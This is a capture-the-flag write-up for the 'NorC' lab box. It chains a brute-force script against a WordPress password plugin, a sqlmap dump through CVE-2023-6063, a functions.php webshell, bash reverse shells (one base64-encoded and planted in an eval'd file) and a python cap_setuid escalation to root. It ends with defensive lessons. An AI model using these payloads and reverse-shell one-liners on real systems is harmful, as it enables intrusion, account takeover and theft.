NorC
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. NorC is a layered WordPress. First a Password Protected plugin bypassed by brute force with a script (cassandra). Then the wp-fastest-cache v1.2.1 plugin, vulnerable to a time-based blind SQLi (CVE-2023-6063) thatsqlmapexploits to dump the database and reveal a subdomain,oledockers.norc.labs, where the admin credentials live. With them we inject a webshell intofunctions.php→www-data.pspyuncovers akvzlxscript thatevals a writable file →kvzlx. And acap_setuidcapability on a custompython3closes the box as root. Note: the original screenshots are external links no longer reachable; outputs are described in text and values that lived only in those images are shown as placeholders.
Recon
Initial scan and vhost
The port scan leaves a web service on 80. The site references the domain norc.labs, so we add it to /etc/hosts to resolve it:
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open <ip>PORT STATE SERVICE
80/tcp open httpnmap -p80 -sCV <ip> -oN targeted
echo "<ip> norc.labs" | sudo tee -a /etc/hosts
whatweb http://norc.labswhatweb and Wappalyzer detect two mixed CMSs, Drupal and WordPress. Since there's WordPress, we try wp-admin, which returns a login panel. Direct attacks (brute force, SQLi) hit an attempt limit, a sign we should enumerate first.
Access: password-protected WordPress
Brute-forcing Password Protected
dirsearch reveals the site uses the Password Protected plugin: it asks for a global password before showing anything, with no attempt limit. We automate the attack with a small script that POSTs each word and detects failure by the Incorrect string:
while IFS= read -r pass; do
response=$(timeout 1.5 curl -s "http://norc.labs/wp-sitemap.xml?password-protected=login&redirect_to=http%3A%2F%2Fnorc.labs%2Fwp-sitemap.xml" \
--data "password_protected_pwd=$pass&wp-submit=Log+In&password_protected_cookie_test=1&password-protected=login" \
-H "Cookie: wordpress_test_cookie=WP%20Cookie%20check" | grep Incorrect | awk -F '>' '{print $2}' | awk '{print $1}')
if [[ "$response" != "Incorrect" ]]; then
echo "Password $pass correct"
fi
done < rockyou.txtThe global password is cassandra.
Enumerating wp-sitemap
Past the wall, wp-sitemap.xml chains to other maps (wp-sitemap-posts-post-1.xml → /hello-world/ …) that all converge on the same point. The only valuable info is a yopmail account (public disposable mail read without a password). We save it for later, but for now it leads nowhere, so we move on to enumerating plugins.
SQLi in wp-fastest-cache (CVE-2023-6063)
Finding the vulnerable plugin
With a WordPress-specific path wordlist, wfuzz enumerates the installed plugins:
wfuzz -u http://norc.labs/FUZZ -w WPfuzz.txt --hc=404,302,500,403,400Up comes wp-fastest-cache v1.2.1, vulnerable to an SQLi for not sanitizing input before using it in the query (CVE-2023-6063). It's a time-based blind injection.
Dumping with sqlmap
The injection fires with the WordPress session cookie. We launch sqlmap and, as soon as it identifies the wordpress database, scope the dump to it, flagging it as time-based to go faster:
sqlmap -u "http://norc.labs/wp-login.php" --cookie="wordpress_logged_in=*" \
--dbms=mysql --time-sec=5 -D wordpress --dump --batchWe get the admin user's hash (phpass format), which john fails to crack:
john --format=phpass --wordlist=rockyou.txt adminHash --fork=5But the dump also reveals the admin's email: admin@oledockers.norc.labs. That domain betrays a subdomain.
Access as admin: the oledockers subdomain
We add the subdomain to /etc/hosts and enumerate it:
echo "<ip> oledockers.norc.labs" | sudo tee -a /etc/hostsOn oledockers.norc.labs the admin user's credentials show up directly. They validate on the WordPress login and work:
admin : <password>Shell as www-data
With an admin session in WordPress, the usual RCE path is the theme editor: we inject a webshell into the active theme's functions.php (twentytwentytwo) and save it:
<?php system($_GET["cmd"]); ?>/wp-content/themes/<theme_name>/functions.phpWe keep nc listening on 4444:
nc -nlvp 4444From there, the (URL-encoded) Bash one-liner returns a reverse shell as www-data:
bash -c "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1"Shell as kvzlx
The home has a kvzlx script doing something dangerous:
#!/bin/bash
ENC_PASS=$(cat /var/www/html/.wp-encrypted.txt)
DECODED_PASS=$(echo $ENC_PASS | base64 -d)
echo $DECODED_PASS > /tmp/decoded.txt
eval "$DECODED_PASS"The script reads /var/www/html/.wp-encrypted.txt, base64-decodes it, and evals the result. The file doesn't exist, but www-data can create it: anything we put there (base64-encoded) runs with kvzlx's privileges when the script runs. First we confirm with pspy that the script runs periodically (invisible to ps aux without privileges):
wget http://172.17.0.1/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64Execution confirmed, we plant a reverse shell in the writable file and wait for the connection on the chosen port:
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzEyMzUgMD4mMQ==" > /var/www/html/.wp-encrypted.txt
nc -nlvp 1235A shell drops as kvzlx.
Privilege escalation
kvzlx → root (cap_setuid)
We hunt for capabilities assigned to binaries:
/usr/sbin/getcap -r / 2>/dev/null/opt/python3 cap_setuid=epA python3 with cap_setuid can change its own UID to 0 without being SUID: the capability grants exactly that power. We abuse it with a script that does os.setuid(0) and spawns a shell:
#!/usr/bin/python3
import os
os.setuid(0)
os.system("/bin/bash")Running it with that python3's full path, the resulting shell is root:
/opt/python3 /tmp/rootPrivesc.py
iduid=0(root) gid=0(root) groups=0(root)Attack chain
HTTP -> vhost norc.labs -> WordPress (Password Protected)
└─> brute-force the wall -> cassandra
└─> wfuzz plugins -> wp-fastest-cache 1.2.1 -> SQLi (CVE-2023-6063) -> sqlmap
└─> dump -> admin@oledockers.norc.labs -> subdomain -> admin creds
└─> functions.php webshell -> www-data
└─> .wp-encrypted.txt (eval, writable) + pspy -> kvzlx
└─> getcap: cap_setuid on /opt/python3 -> os.setuid(0) -> rootLessons learned
- A password wall with no attempt limit is no wall. The Password Protected plugin only adds a global password; without rate-limiting, a script cracks it like any login.
- An outdated plugin sinks the whole install. wp-fastest-cache 1.2.1 and its CVE-2023-6063 turn a cookie into a full database dump via blind SQLi.
- The admin's email leaks the architecture.
admin@oledockers.norc.labsisn't a minor detail: it reveals a subdomain that had to be enumerated to find the real credentials. evalon a writable file is deferred RCE. A script that decodes and evaluates a file another user can write hands over its account;pspy(repo) confirms the periodicity without privileges.cap_setuidis root with no SUID or sudo. A misplaced capability on an interpreter allows directsetuid(0); auditgetcap -r /the same way you audit SUID binaries.